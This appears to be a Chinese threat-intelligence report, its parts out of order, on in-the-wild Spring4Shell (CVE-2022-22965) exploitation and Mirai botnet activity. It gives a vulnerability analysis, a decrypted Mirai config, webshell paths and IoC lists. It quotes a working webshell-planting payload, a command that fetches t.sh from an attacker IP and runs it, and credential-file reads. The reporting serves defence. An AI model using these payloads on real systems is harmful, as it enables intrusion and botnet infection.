185.220.100.243     	Germany             	AS205100            	F3NETZE             
185.220.100.244     	Germany             	AS205100            	F3NETZE             
185.220.100.245     	Germany             	AS205100            	F3NETZE             
185.220.100.246     	Germany             	AS205100            	F3NETZE             
185.220.100.247     	Germany             	AS205100            	F3NETZE             
185.220.100.248     	Germany             	AS205100            	F3NETZE             
185.220.100.249     	Germany             	AS205100            	F3NETZE             
185.220.100.250     	Germany             	AS205100            	F3NETZE             
185.220.100.251     	Germany             	AS205100            	F3NETZE             
185.220.100.252     	Germany             	AS205100            	F3NETZE             
185.220.100.253     	Germany             	AS205100            	F3NETZE             
185.220.100.254     	Germany             	AS205100            	F3NETZE             
185.220.100.255     	Germany             	AS205100            	F3NETZE             
185.220.101.6       	The Netherlands     	AS208294            	RELAYON             
185.220.101.22      	The Netherlands     	AS208294            	RELAYON             
185.220.101.32      	The Netherlands     	AS208294            	RELAYON             
185.220.101.33      	The Netherlands     	AS208294            	RELAYON             
185.220.101.34      	The Netherlands     	AS208294            	RELAYON             
185.220.101.35      	The Netherlands     	AS208294            	RELAYON             
185.220.101.36      	The Netherlands     	AS208294            	RELAYON             
185.220.101.37      	The Netherlands     	AS208294            	RELAYON             
185.220.101.38      	The Netherlands     	AS208294            	RELAYON             
185.220.101.39      	The Netherlands     	AS208294            	RELAYON             
185.220.101.40      	The Netherlands     	AS208294            	RELAYON             
185.220.101.41      	The Netherlands     	AS208294            	RELAYON             
185.220.101.42      	The Netherlands     	AS208294            	RELAYON             
185.220.101.43      	The Netherlands     	AS208294            	RELAYON             
185.220.101.44      	The Netherlands     	AS208294            	RELAYON             
185.220.101.45      	The Netherlands     	AS208294            	RELAYON             
185.220.101.46      	The Netherlands     	AS208294            	RELAYON             
185.220.101.47      	The Netherlands     	AS208294            	RELAYON             
185.220.101.48      	The Netherlands     	AS208294            	RELAYON             
185.220.101.49      	The Netherlands     	AS208294            	RELAYON             
185.220.101.50      	The Netherlands     	AS208294            	RELAYON             
185.220.101.51      	The Netherlands     	AS208294            	RELAYON             
185.220.101.52      	The Netherlands     	AS208294            	RELAYON             
185.220.101.53      	The Netherlands     	AS208294            	RELAYON             
185.220.101.54      	The Netherlands     	AS208294            	RELAYON             
185.220.101.55      	The Netherlands     	AS208294            	RELAYON             
185.220.101.56      	The Netherlands     	AS208294            	RELAYON             
185.220.101.57      	The Netherlands     	AS208294            	RELAYON             
185.220.101.58      	The Netherlands     	AS208294            	RELAYON             
185.220.101.59      	The Netherlands     	AS208294            	RELAYON             
185.220.101.60      	The Netherlands     	AS208294            	RELAYON             
185.220.101.61      	The Netherlands     	AS208294            	RELAYON             
185.220.101.62      	The Netherlands     	AS208294            	RELAYON             
185.220.101.63      	The Netherlands     	AS208294            	RELAYON             
185.220.102.240     	The Netherlands     	AS60729             	ZWIEBELFREUNDE      
185.220.102.245     	The Netherlands     	AS60729             	ZWIEBELFREUNDE      
185.220.102.249     	The Netherlands     	AS60729             	ZWIEBELFREUNDE      
185.220.102.254     	The Netherlands     	AS60729             	ZWIEBELFREUNDE      
185.220.103.7       	United States       	AS4224              	CALYX-AS            
185.226.67.169      	Greece              	AS205053            	Aweb-ASN            
185.243.218.27      	Norway              	AS56655             	TERRAHOST           
185.246.188.95      	Belgium             	AS3164              	ASTIMP-IT           
185.247.226.98      	Iceland             	AS200651            	FlokiNET            
185.254.75.32       	Germany             	AS3214              	XTOM                
188.68.58.0         	Germany             	AS197540            	netcup-AS           
192.42.116.23       	The Netherlands     	AS1101              	IP-EEND-AS          
193.31.24.154       	Germany             	AS197540            	netcup-AS           
193.110.95.34       	Switzerland         	AS13030             	INIT7               
193.111.199.64      	Germany             	AS24961             	MYLOC-AS            
193.218.118.95      	Ukraine             	AS207656            	EPINATURA           
193.218.118.183     	Ukraine             	AS207656            	EPINATURA           
193.218.118.231     	Ukraine             	AS207656            	EPINATURA           
194.31.98.186       	The Netherlands     	AS213035            	AS-SERVERION        
194.233.77.245      	Singapore           	AS141995            	CAPL-AS-AP          
195.176.3.19        	Switzerland         	AS559               	SWITCH              
195.176.3.23        	Switzerland         	AS559               	SWITCH              
198.54.128.102      	United States       	AS11878             	TZULO               
198.98.51.189       	United States       	AS53667             	PONYNET             
198.98.57.207       	United States       	AS53667             	PONYNET             
198.144.121.43      	The Netherlands     	AS206264            	AMARUTU-TECHNOLOGY  
199.195.248.29      	United States       	AS53667             	PONYNET             
199.195.254.81      	United States       	AS53667             	PONYNET             
199.249.230.87      	United States       	AS62744             	QUINTEX             
203.175.13.118      	China               	AS141677            	NATHOSTS-AS-AP      
204.8.156.142       	United States       	AS10961             	BGP-AS              
205.185.117.149     	United States       	AS53667             	PONYNET             
205.185.124.178     	United States       	AS53667             	PONYNET             
209.141.41.103      	United States       	AS53667             	PONYNET             
209.141.44.64       	United States       	AS53667             	PONYNET             
209.141.45.189      	United States       	AS53667             	PONYNET             
209.141.46.81       	United States       	AS53667             	PONYNET             
209.141.46.203      	United States       	AS53667             	PONYNET             
209.141.54.195      	United States       	AS53667             	PONYNET             
209.141.55.26       	United States       	AS53667             	PONYNET             
209.141.57.178      	United States       	AS53667             	PONYNET             
209.141.58.146      	United States       	AS53667             	PONYNET             
209.141.60.19       	United States       	AS53667             	PONYNET             
210.217.18.88       	South Korea         	AS4766              	KIXS-AS-KR          
211.20.42.23        	China               	AS3462              	HINET               
212.107.30.157      	China               	AS41378             	KirinoNET           
213.61.215.54       	Germany             	AS8220              	COLT                
213.164.204.146     	Sweden              	AS8473              	BAHNHOF             
217.138.199.93      	Czech Republic      	AS9009              	M247    
</code></pre>
<p>URL</p>
<pre><code>http://107.174.133.167/gmpsl
http://107.174.133.167/gi686
http://107.174.133.167/garm
http://107.174.133.167/gmips
http://107.174.133.167/garm7
http://107.174.133.167/gx86
http://107.174.133.167/t.sh
http://107.174.133.167/garm6
http://107.174.133.167/garm5
http://15.185.213.122:65123/javac
http://15.185.213.122:65123
base64://be3f78b59fa14140b6cc8633bf705a75
http://15.185.213.122:65123/java
base64://c08fec5682085417b0a039bdf47c38f2
</code></pre>
<p>MD5</p>
<pre><code>4bcd19351697d04fb357ce5b36600207
7d244e7bf48d6631b588cecae87e759d
9c14d670a48bba4b7c047a01d417f8f2
97a7a357b8290a7236a5fbf45f17569f
7621f1a5e8db18f3ae30031122c9c397
100674f1e3ecfb6fa244de4ba7fd2ae2
329155ab45e244661a7725d81dfad740
611630a580e33017be32de8c72625489
650152a2fe78dfceceb4d1a1fdeaccb8
400590515f0f1cf942fe734126be94e7
a8a36132632366c7f65066b23d6f7e4f
b1124c862998bc4ab3ff8b1d471310a6
cca63413e3ca6b834b6a4446768c5ccb
dcc157b2c284ac676000d64dd33f3ec4
e1190f07a6da91caaa317affc9512caa
eba95249cf0a51e300d7b6029cf7088e
fb63e9a23dbf4124116471fcf3254283
fd839753ca4d89c0ccd229b12f95827c
</code></pre>
<!--kg-card-end: markdown-->
背景介绍


2022年3月31号，Spring针对Spring4Shell漏洞(CVE-2022-22965)事件发布了安全公告[1]，并提供了漏洞修复程序，此次漏洞事件在安全社区引起广泛关注。


360网络安全研究院高级威胁狩猎蜜罐系统[2]通过被动监测方式看到了该漏洞在野传播过程，我们也看到了Mirai僵尸网络入场，相关在野漏洞攻击威胁情报已通过自动化形式输出。



Spring4Shell 在野传播


360网络安全研究院高级威胁狩猎蜜罐系统持续监测到Spring4Shell漏洞(CVE-2022-22965)扫描和漏洞利用行为，部分源IP地理位置分布如下：




以下是Top 10 国家/地区统计列表


United States      92
The Netherlands    49
Germany            30
China              21
France              6
Luxembourg          6
Sweden              6
Switzerland         5
Ukraine             5
Austria             4



我们监测到大量Webshell和测试文件的上传行为，相应文件信息如下所示：




部分在野漏洞利用命令信息如下所示：


echo%20ddfdsfasdfasd
echo%20fdsafasdfasd
echo%202222222
ls
ls%20/tmp/
whoami
%2Fbin%2Fsh%2F-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%3Bwget%24%7BIFS%7Dhttp%3A%2F%2F107.174.133.167%2Ft.sh%24%7BIFS%7D-O-%A6sh%24%7BIFS%7DSpringCore%3B%27 
cat+/etc/passwd 
chdir 
cmd /c dir 
cmd /c net user 
curl+http://111.4vcrkb.dnslog.cn/1.jpg 
curl+http://12121.4vcrkb.dnslog.cn/1.jpg 
curl+http://35456.4vcrkb.dnslog.cn/1.jpg 
dir 
echo 
echo 8888888888  
echo %USERNAME%  
echo %computername% 
echo </xss> 
echo fucker_test_test 
echo rinima  
echo%20%3Csvg%20onload=confirm`xss`%3E 
echo%20%3Csvg%20onload=confirm`xsssssss`%3E 
echo%20ddfdsfasdfasd 
echo%20fdsafasdfasd 
echo%202222222 
echo+22222 
echo+`whoami` 
echo+whoami 
exp
id 
ifconfig 
ls 
ls%20/tmp/ 
ping -n 2 uup0fk.dnslog.cn 
ping uup0fk.dnslog.cn 
uname 
whoami 
whoami%0A 




Spring4Shell 漏洞分析


Spring4Shell漏洞(CVE-2022-22965)是在JDK 9版本及以上新增module特性后导致的，并且是针对CVE-2010-1622漏洞补丁的绕过。


CVE-2010-1622 漏洞分析


CVE-2010-1622漏洞是Spring Bean的CachedIntrospectionResults类在调用java.beans.Introspector.getBeanInfo()枚举属性赋值时，没有指定stop类，导致父类(Object.class是任何java对象的父类)属性可被攻击者恶意控制。


Spring参数绑定支持用户提交表单以 参数=值 的形式进行对象赋值，同时user.address.street=Disclosure+Str等价于frmObj.getUser().getAddress().setStreet("Disclosure Str.")。因此可通过user.address.street=Disclosure+Str的方式给PropertyDescriptor[]中的第一个class属性赋值。如通过classLoader控制class属性，进而构造利用链。


漏洞补丁

Spring通过将classLoader加入属性数组黑名单的方式修补漏洞。




CVE-2022-22965 漏洞分析


在参数绑定过程中，包含class属性，与CVE-2010-1622漏洞问题类似：




CVE-2022-22965是CVE-2010-1622补丁的绕过，在JDK11+Tomcat8.5.77+spring-webmvc5.3.17版本中，调试发现通过class.module.classLoader.*可以加载ParallelWebappClassLoader绕过黑名单对classLoader的检测:




在野Payload：


class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=222



pattern指定日志记录的格式，suffix指定日志记录的后缀为.jsp，directory指定日志保存的目录webapps/ROOT，prefix指定文件名tomcatwar，fileDateFormat指定日志文件名日期格式，上述payload通过Tomcat的class AbstractAccessLogValve修改了日志的存储格式、目录和文件名，实现了Webshell的上传。


漏洞补丁

新增了严格的黑名单限制





Mirai僵尸网络


我们看到Mirai僵尸网络很快入场，相关配置信息解密如下所示：


 [0x01]: "46.175.146.159\x00", size=15
 [0x02]: "A\x84", size=2
 [0x03]: "D\xfd", size=2
 [0x04]: "U better back the fuck off CIANigger >>>---<3-->\x00", size=49
 [0x05]: "shell\x00", size=6
 [0x06]: "enable\x00", size=7
 [0x07]: "system\x00", size=7
 [0x08]: "sh\x00", size=3
 [0x09]: "/bin/busybox DEMONS\x00", size=20
 [0x0a]: "DEMONS: applet not found\x00", size=25
 [0x0b]: "ncorrect\x00", size=9
 [0x0c]: "/bin/busybox ps\x00", size=16
 [0x0d]: "assword\x00", size=8
 [0x0e]: "ogin\x00", size=5
 [0x0f]: "enter\x00", size=6
 [0x10]: "/proc/\x00", size=7
 [0x11]: "/exe\x00", size=5
 [0x12]: "/fd\x00", size=4
 [0x13]: "/maps\x00", size=6
 [0x14]: "/proc/net/tcp\x00", size=14
 [0x15]: "/etc/resolv.conf\x00", size=17
 [0x16]: "nameserver\x00", size=11
 [0x17]: "Pully\x13SHD\x1aiIGK\x1cDig\x13\x18}Bfpc]MkGp^b\x12[}P\x1b\\~m`b`^rc\x13Xeg\x13G\x1a\x12z*", size=57
 [0x18]: "i586\x00", size=5
 [0x19]: "i486\x00", size=5
 [0x1a]: "x86\x00", size=4
 [0x1b]: "i686\x00", size=5
 [0x1c]: "mips\x00", size=5
 [0x1d]: "mipsel\x00", size=7
 [0x1e]: "mpsl\x00", size=5
 [0x1f]: "sh4\x00", size=4
 [0x20]: "superh\x00", size=7
 [0x21]: "ppc\x00", size=4
 [0x22]: "powerpc\x00", size=8
 [0x23]: "spc\x00", size=4
 [0x24]: "sparc\x00", size=6
 [0x25]: "(deleted)\x00", size=10
 [0x26]: "abcdefghijklmnopqrstuvwxyz\x00", size=27
 [0x27]: "%d.%d.%d.%d\x00", size=12
 [0x28]: "POST /cdn-cgi/\x00", size=15
 [0x29]: "UPX!\x00", size=5
 [0x2a]: "botnet\x00", size=7
 [0x2b]: "ddos\x00", size=5
 [0x2c]: "oginenterassword\x00", size=17
 [0x2d]: "GET/  HTTP/1.1\x00", size=15
 [0x2e]: "garm\x00", size=5
 [0x2f]: "gx86\x00", size=5
 [0x30]: "gmips\x00", size=6
 [0x31]: "gmpsl\x00", size=6
 [0x32]: "gsh4\x00", size=5
 [0x33]: "gspc\x00", size=5
 [0x34]: "gppc\x00", size=5
 [0x35]: "gsec\x00", size=5
 [0x36]: ".glm\x00", size=5
 [0x37]: "cronx86\x00", size=8
 [0x38]: "cronarm\x00", size=8
 [0x39]: "cronmips\x00", size=9
 [0x3a]: "cronmpsl\x00", size=9
 [0x3b]: "cronsh4\x00", size=8
 [0x3c]: "cronspc\x00", size=8
 [0x3d]: "cronppc\x00", size=8
 [0x3e]: "cronsh\x00", size=7
 [0x3f]: "gi686\x00", size=6
 [0x40]: "/dev/watchdog\x00", size=14
 [0x41]: "/dev/misc/watchdog\x00", size=19
 [0x42]: "/dev/FTWDT101_watchdog\x00", size=23
 [0x43]: "/dev/FTWDT101 watchdog\x00\x12", size=24
 [0x44]: "/dev/watchdog0\x00", size=15
 [0x45]: "/etc/default/watchdog\x00", size=22
 [0x46]: "/sbin/watchdog\x00", size=15



Webshell和测试文件列表





filepath
count




/tmp/log222.txt
3973


webapps/ROOT/log111.txt
2051


webapps/ROOT/tomcatwar.jsp
110


webapps/ROOT/wpz.jsp
27


/../webapps/ROOT/logout.jsp
12


./webapps/ROOT/test2%20%20.txt
9


webapps/ROOT/log101.txt
7


/log_data_9.jsp
3


webapps/ROOT/xiaozhan.jsp
3


webapps/ROOT/1122.jsp
3


webapps/ROOT/0985763860781234.jsp
3


/2023.jsp
3


webapps/ROOT/zhuzhuxias.jsp
3


webapps/ROOT/log147.txt
2


webapps/ROOT/aaa69875.jsp
1


webapps/ROOT/log186.txt
1


webapps/ROOT/aaa36917.jsp
1


webapps/ROOT/member3war.jsp
1


webapps/ROOT/aaa96225.jsp
1


webapps/ROOT/log154.txt
1


webapps/ROOT/log103.txt
1


webapps/ROOT/log176.txt
1


webapps/ROOT/7FMNZ.jsp
1


webapps/ROOT/aaa28643.jsp
1


webapps/ROOT/aaa49231.jsp
1


webapps/ROOT/aaa50586.jsp
1


webapps/ROOT/log112.txt
1


webapps/ROOT/log110.txt
1


webapps/ROOT/aaa80751.jsp
1


/2021.jsp
1


webapps/ROOT/aaa10854.jsp
1


webapps/ROOT/log105.txt
1


webapps/ROOT/aaa93089.jsp
1


webapps/ROOT/35456.jsp
1


webapps/ROOT/log182.txt
1


webapps/ROOT/aaa24348.jsp
1


webapps/ROOT/log131.txt
1


webapps/ROOT/indexbk.jsp
1


webapps/ROOT/log149.txt
1


webapps/ROOT/log179.txt
1


webapps/webappsbak/sxxd1648765386.txt
1


webapps/ROOT/log150.txt
1


Webapps/ROOT/78754.jsp
1


webapps/ROOT/aaa24168.jsp
1


webapps/ROOT/aaa10487.jsp
1


webapps/ROOT/log178.txt
1


webapps/ROOT/lapsus
1


webapps/ROOT/zhuzhuxia.jsp
1


webapps/ROOT/log135.txt
1


webapps/ROOT/aaa40373.jsp
1


webapps/ROOT/qweasd.jsp
1


webapps/ROOT/console.jsp
1


webapps/ROOT/aaa79694.jsp
1


webapps/ROOT/aaa54378.jsp
1


webapps/ROOT/log129.txt
1


webapps/ROOT/pCJrI.jsp
1


webapps/ROOT/log162.txt
1


Webapps/ROOT/7875456457.jsp
1


webapps/ROOT/.jsp
1


webapps/ROOT/log200.txt
1


webapps/ROOT/8888888888.jsp
1


webapps/ROOT/8888888888.txt
1


webapps/ROOT/log128.txt
1


webapps/ROOT/log124.txt
1


webapps/ROOT/aaa14058.jsp
1


webapps/ROOT/aaa94175.jsp
1


webapps/ROOT/conf.jsp
1


webapps/stupidRumor_war/tomcatwar.jsp
1


webapps/ROOT/aaa83816.jsp
1






处置建议


我们建议Spring用户及时升级漏洞程序，并排查相应Webshell文件路径。



联系我们


感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。


IoC List


Mirai C2


46.175.146.159:16772



IP


1.85.220.54         	China               	AS4134              	CHINANET-BACKBONE   
3.239.1.141         	United States       	AS14618             	AMAZON-AES          
5.2.69.50           	The Netherlands     	AS60404             	Liteserver          
14.0.170.249        	China               	AS38819             	HKCSL-AS-AP         
23.128.248.10       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.11       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.12       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.13       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.14       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.15       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.16       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.17       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.19       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.20       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.21       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.22       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.23       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.24       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.25       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.27       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.28       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.29       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.33       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.34       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.38       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.39       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.40       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.41       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.42       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.43       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.44       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.46       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.48       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.50       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.51       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.53       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.54       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.55       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.56       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.57       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.58       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.59       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.60       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.61       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.62       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.63       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.64       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.65       	United States       	AS398355            	DATAIDEAS-LLC       
23.129.64.130       	United States       	AS396507            	EMERALD-ONION       
23.129.64.131       	United States       	AS396507            	EMERALD-ONION       
23.129.64.132       	United States       	AS396507            	EMERALD-ONION       
23.129.64.133       	United States       	AS396507            	EMERALD-ONION       
23.129.64.134       	United States       	AS396507            	EMERALD-ONION       
23.129.64.135       	United States       	AS396507            	EMERALD-ONION       
23.129.64.136       	United States       	AS396507            	EMERALD-ONION       
23.129.64.137       	United States       	AS396507            	EMERALD-ONION       
23.129.64.138       	United States       	AS396507            	EMERALD-ONION       
23.129.64.139       	United States       	AS396507            	EMERALD-ONION       
23.129.64.140       	United States       	AS396507            	EMERALD-ONION       
23.129.64.141       	United States       	AS396507            	EMERALD-ONION       
23.129.64.142       	United States       	AS396507            	EMERALD-ONION       
23.129.64.143       	United States       	AS396507            	EMERALD-ONION       
23.129.64.145       	United States       	AS396507            	EMERALD-ONION       
23.129.64.146       	United States       	AS396507            	EMERALD-ONION       
23.129.64.147       	United States       	AS396507            	EMERALD-ONION       
23.129.64.148       	United States       	AS396507            	EMERALD-ONION       
23.129.64.149       	United States       	AS396507            	EMERALD-ONION       
23.129.64.210       	United States       	AS396507            	EMERALD-ONION       
23.129.64.211       	United States       	AS396507            	EMERALD-ONION       
23.129.64.212       	United States       	AS396507            	EMERALD-ONION       
23.129.64.213       	United States       	AS396507            	EMERALD-ONION       
23.129.64.214       	United States       	AS396507            	EMERALD-ONION       
23.129.64.215       	United States       	AS396507            	EMERALD-ONION       
23.129.64.216       	United States       	AS396507            	EMERALD-ONION       
23.129.64.217       	United States       	AS396507            	EMERALD-ONION       
23.129.64.218       	United States       	AS396507            	EMERALD-ONION       
23.129.64.219       	United States       	AS396507            	EMERALD-ONION       
23.129.64.250       	United States       	AS396507            	EMERALD-ONION       
23.154.177.6        	United States       	AS399532            	ULAYER-ASN          
23.154.177.7        	United States       	AS399532            	ULAYER-ASN          
23.239.21.195       	United States       	AS63949             	LINODE-AP           
27.102.106.117      	South Korea         	AS45996             	GNJ-AS-KR           
37.187.18.212       	France              	AS16276             	OVH                 
37.187.96.183       	France              	AS16276             	OVH                 
43.128.201.239      	Thailand            	AS132203            	TENCENT-NET-AP-CN   
43.242.116.54       	India               	AS45916             	GTPL-AS-AP          
45.15.16.105        	Sweden              	AS42675             	OBEHOSTING          
45.32.251.86        	Japan               	AS20473             	AS-CHOOPA           
45.33.101.246       	United States       	AS63949             	LINODE-AP           
45.61.186.160       	United States       	AS53667             	PONYNET             
45.78.48.51         	Japan               	AS25820             	IT7NET              
45.128.133.242      	Belgium             	AS206804            	EstNOC-GLOBAL       
45.129.56.200       	Denmark             	AS39351             	ESAB-AS             
45.136.15.239       	China               	AS139659            	LUCID-AS-AP         
45.153.160.2        	The Netherlands     	AS212906            	moneroj-ca          
45.153.160.132      	The Netherlands     	AS212906            	moneroj-ca          
45.153.160.136      	The Netherlands     	AS212906            	moneroj-ca          
45.154.255.138      	Sweden              	AS41281             	KEFF                
45.154.255.139      	Sweden              	AS41281             	KEFF                
45.154.255.147      	Sweden              	AS41281             	KEFF                
46.166.139.111      	The Netherlands     	AS43350             	NFORCE              
46.175.146.159          The Netherlands         AS50673                 Serverius-as        
46.232.251.191      	Germany             	AS197540            	netcup-AS           
51.15.76.60         	The Netherlands     	AS12876             	AS12876             
51.77.52.216        	Poland              	AS16276             	OVH                 
58.82.211.226       	China               	AS137872                PEOPLESPHONE-HK                 	                    
58.240.81.135       	China               	AS4837              	CHINA169-Backbone   
60.248.106.229      	China               	AS3462              	HINET               
62.102.148.68       	Sweden              	AS51815             	TEKNIKBYRAN         
62.102.148.69       	Sweden              	AS51815             	TEKNIKBYRAN         
64.113.32.29        	United States       	AS15154             	SBBSNET             
66.220.242.222      	United States       	AS17356             	VERMONT-TELE        
74.82.47.194        	United States       	AS6939              	HURRICANE           
81.17.18.59         	Switzerland         	AS51852             	PLI-AS              
81.17.18.62         	Switzerland         	AS51852             	PLI-AS              
85.93.218.204       	Luxembourg          	AS9008              	ASN-VO              
85.204.116.204      	Romania             	AS48874             	HOSTMAZE            
87.120.37.231       	Bulgaria            	AS34224             	NETERRA-AS          
89.58.27.84         	Germany             	AS197540                netcup GmbH  	                    
89.163.131.159      	Germany             	AS24961             	MYLOC-AS            
89.163.131.160      	Germany             	AS24961             	MYLOC-AS            
91.132.147.168      	Germany             	AS197540            	netcup-AS           
91.149.225.172      	Norway              	AS58110             	IPVOLUME            
91.211.89.43        	Ukraine             	AS206638            	hostfory            
91.211.89.107       	Ukraine             	AS206638            	hostfory            
91.211.89.207       	Ukraine             	AS206638            	hostfory            
91.250.242.12       	Romania             	AS6718              	NAV                 
92.246.84.133       	Germany             	AS44592             	SkyLink             
93.95.226.212       	Iceland             	AS44925             	THE-1984-AS         
93.174.89.132       	The Netherlands     	AS202425            	INT-NETWORK         
93.179.115.27       	United States       	AS25820             	IT7NET              
94.140.114.210      	Latvia              	AS43513             	NANO-AS             
101.37.159.147      	China               	AS37963             	CNNIC-ALIBABA-CN-NET-AP
103.27.108.196      	China               	AS132883            	TOPWAY-AS-AP        
103.42.196.135      	India               	AS138754                KVBPL-AS-IN 	                    
103.42.196.203      	India               	AS138754                KVBPL-AS-IN   	                    
103.108.193.24      	China               	AS139021            	WEST263GO-HK        
103.140.186.68      	Singapore           	AS206804            	EstNOC-GLOBAL       
103.140.186.72      	Singapore           	AS206804            	EstNOC-GLOBAL       
103.140.186.73      	Singapore           	AS206804            	EstNOC-GLOBAL       
103.214.146.5       	China               	AS135330            	ADCDATACOM-AS-AP    
103.253.41.98       	China               	AS133398            	TELE-AS             
104.244.72.115      	Luxembourg          	AS53667             	PONYNET             
104.244.76.13       	Luxembourg          	AS53667             	PONYNET             
104.244.76.44       	Luxembourg          	AS53667             	PONYNET             
104.244.76.170      	Luxembourg          	AS53667             	PONYNET             
104.244.77.101      	Luxembourg          	AS53667             	PONYNET             
107.189.5.249       	Luxembourg          	AS53667             	PONYNET             
109.70.100.19       	Austria             	AS208323            	APPLIEDPRIVACY-AS   
109.70.100.31       	Austria             	AS208323            	APPLIEDPRIVACY-AS   
109.70.100.82       	Austria             	AS208323            	APPLIEDPRIVACY-AS   
109.70.100.84       	Austria             	AS208323            	APPLIEDPRIVACY-AS   
109.201.133.100     	The Netherlands     	AS43350             	NFORCE              
111.252.183.41      	China               	AS3462              	HINET               
111.252.198.28      	China               	AS3462              	HINET               
112.5.154.7         	China               	AS9808              	CMNET-GD            
112.36.205.252      	China               	AS24444             	CMNET-V4shandong-AS-AP
112.169.175.24      	South Korea         	AS131477            	SHHJ-AS             
119.86.148.176      	China               	AS4134              	CHINANET-BACKBONE   
124.222.23.106      	China               	AS45090             	CNNIC-TENCENT-NET-AP
128.31.0.13         	United States       	AS3                 	MIT-GATEWAYS        
141.164.43.95       	South Korea         	AS20473             	AS-CHOOPA           
142.4.206.84        	Canada              	AS16276             	OVH                 
143.198.131.158     	United States       	AS14061             	DIGITALOCEAN-ASN    
144.172.73.66       	United States       	AS212513            	STELZL-AS           
144.202.116.138     	United States       	AS20473             	AS-CHOOPA           
144.217.86.109      	Canada              	AS16276             	OVH                 
146.19.174.33       	China               	AS147293            	NEAROUTE-AS-AP      
146.59.233.33       	France              	AS16276             	OVH                 
151.80.148.159      	France              	AS16276             	OVH                 
159.223.73.101      	Singapore           	AS14061             	DIGITALOCEAN-ASN    
162.247.74.7        	United States       	AS4224              	CALYX-AS            
164.92.65.110       	United States       	AS14061             	DIGITALOCEAN-ASN    
164.132.9.199       	France              	AS16276             	OVH                 
166.70.207.2        	United States       	AS6315              	XMISSION            
167.71.238.228      	India               	AS14061             	DIGITALOCEAN-ASN    
167.99.76.46        	Singapore           	AS14061             	DIGITALOCEAN-ASN    
168.62.22.238       	United States       	AS8075              	MICROSOFT-CORP-MSN-AS-BLOCK
171.25.193.20       	Germany             	AS198093            	DFRI-AS             
171.25.193.25       	Germany             	AS198093            	DFRI-AS             
171.25.193.77       	Germany             	AS198093            	DFRI-AS             
171.25.193.78       	Germany             	AS198093            	DFRI-AS             
172.104.93.152      	Japan               	AS63949             	LINODE-AP           
172.104.140.107     	Germany             	AS63949             	LINODE-AP           
172.104.159.48      	Germany             	AS63949             	LINODE-AP           
172.107.241.110     	United States       	AS40676             	AS40676             
172.245.89.109      	United States       	AS36352             	AS-COLOCROSSING     
175.178.154.77      	China               	AS45090             	CNNIC-TENCENT-NET-AP
178.17.170.135      	Moldova             	AS43289             	TRABIA              
178.17.171.102      	Moldova             	AS43289             	TRABIA              
178.17.174.14       	Moldova             	AS43289             	TRABIA              
178.20.55.18        	France              	AS29075             	IELO                
182.255.45.211      	China               	AS6134              	XNNET               
185.34.33.2         	France              	AS28855             	OCTOPUCE-AS         
185.36.81.95        	Lithuania           	AS133398            	TELE-AS             
185.38.175.130      	Denmark             	AS205235            	LABITAT             
185.38.175.131      	Denmark             	AS205235            	LABITAT             
185.56.80.65        	The Netherlands     	AS43350             	NFORCE              
185.82.126.13       	Latvia              	AS52173             	MAKONIX             
185.83.214.69       	Portugal            	AS58110             	IPVOLUME            
185.100.86.74       	Finland             	AS200651            	FlokiNET            
185.100.86.128      	Finland             	AS200651            	FlokiNET            
185.100.87.41       	Romania             	AS200651            	FlokiNET            
185.100.87.133      	Romania             	AS200651            	FlokiNET            
185.100.87.174      	Romania             	AS200651            	FlokiNET            
